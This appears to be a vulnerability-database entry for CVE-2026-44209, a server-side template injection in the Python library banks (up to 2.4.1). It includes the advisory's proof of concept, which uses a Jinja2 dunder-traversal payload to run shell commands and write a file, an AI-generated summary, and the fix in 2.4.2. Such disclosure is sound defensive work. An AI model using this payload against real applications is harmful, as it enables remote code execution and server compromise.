banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Description
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable
Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack
Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of
Concept
Setup: ``bash pip install banks==2.4.1 ``
PoC script: ``python from banks import Prompt payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") ``
Confirmed output: `` [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),... text **File-write proof:** ``python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text() `` ``bash
ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec `` ## Impact Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise. ## Fix Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on. Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt()`. ## Resources - Fix: https://github.com/masci/banks/pull/74 - CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5) - CVE-2025-25362 (spacy-llm — identical root cause) - CWE-1336: Improper Neutralization of Special Elements in a Template Engine
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Banks <=2.4.1 uses an unsandboxed Jinja2 environment, allowing SSTI to RCE when user input is passed as a template to Prompt().
Vulnerability
CVE-2026-44209 is a Server-Side Template Injection (SSTI) vulnerability in the banks library (versions ≤2.4.1). The root cause is that src/banks/env.py initializes a Jinja2 environment using jinja2.Environment() without sandboxing, which permits template expressions to access Python builtins and execute arbitrary code [2]. This is not a flaw in Jinja2 itself but in how banks configures it.
Exploitation
An attacker can exploit this by supplying a malicious template string to the Prompt() class, for example via an API endpoint, a database-stored template, or a user-supplied config file. The canonical payload uses the self.__init__.__globals__.__builtins__ chain to import os and run shell commands. A proof-of-concept demonstrates executing id and writing a file to /tmp [2]. No authentication is required if the application exposes the vulnerable functionality to untrusted users.
Impact
Successful exploitation leads to full Remote Code Execution (RCE) on the host system. An attacker can execute arbitrary commands, exfiltrate sensitive data, or compromise the server entirely [2].
Mitigation
The vulnerability is fixed in banks version 2.4.2, which switches to jinja2.sandbox.SandboxedEnvironment to block dunder attribute traversal [3]. Users should upgrade immediately and ensure that untrusted user input is never passed as a template string.
AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
banksPyPI | < 2.4.2 | 2.4.2 |
Affected products
2Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
0No linked articles in our index yet.